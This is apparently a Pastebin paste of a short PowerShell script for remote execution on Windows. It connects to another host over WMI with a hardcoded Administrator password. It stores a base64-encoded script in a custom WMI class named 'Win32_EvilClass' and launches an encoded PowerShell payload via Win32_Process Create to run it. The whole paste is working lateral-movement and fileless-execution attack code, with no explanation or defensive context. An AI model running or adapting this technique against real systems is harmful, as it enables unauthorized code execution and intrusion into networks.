Advertisement
BigB123

George WMI Powershell

Apr 20th, 2019
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. # Run from 10.1.0.2 to transfer a file to 10.1.0.1.
  2. $localpath = 'C:\Users\Administrator\Documents\runme.ps1'
  3. #$bytes = [IO.File]::ReadAllBytes($localpath)
  4. $bytes = Get-Content $localpath -Raw
  5. $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bytes))
  6.  
  7. $opts = New-Object Management.ConnectionOptions
  8. $opts.Username = 'Administrator'
  9. $opts.Password = 'qwe123QWE!@#'
  10. $opts.EnablePrivileges = $true
  11.  
  12. $conn = New-Object Management.ManagementScope
  13. $conn.Path = '\\10.1.0.1\root\default'
  14. $conn.Options = $opts
  15. $conn.Connect()
  16.  
  17. $evilclass = New-Object Management.ManagementClass($conn, [String]::Empty, $null)
  18. $evilclass['__CLASS'] = 'Win32_EvilClass'
  19. $evilclass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
  20. $evilClass.Properties['EvilProperty'].Value = $encoded
  21. $evilclass.Put()
  22.  
  23. $creds = Get-Credential '10.1.0.1\Administrator'
  24.  
  25. $args = @{
  26. Credential = $creds
  27. ComputerName = '10.1.0.1'
  28. }
  29.  
  30. $payload = @'
  31. $encodedFile = ([WmiClass]'root\default:Win32_EvilClass').Properties['EvilProperty'].Value
  32. Invoke-Command -ScriptBlock {powershell -NoProfile -EncodedCommand $encodedFile}
  33. '@
  34.  
  35. $encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  36. $power = "powershell -NoProfile -EncodedCommand $encodedPayload"
  37.  
  38. Invoke-WmiMethod @args -Class Win32_Process -Name Create -ArgumentList $power
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement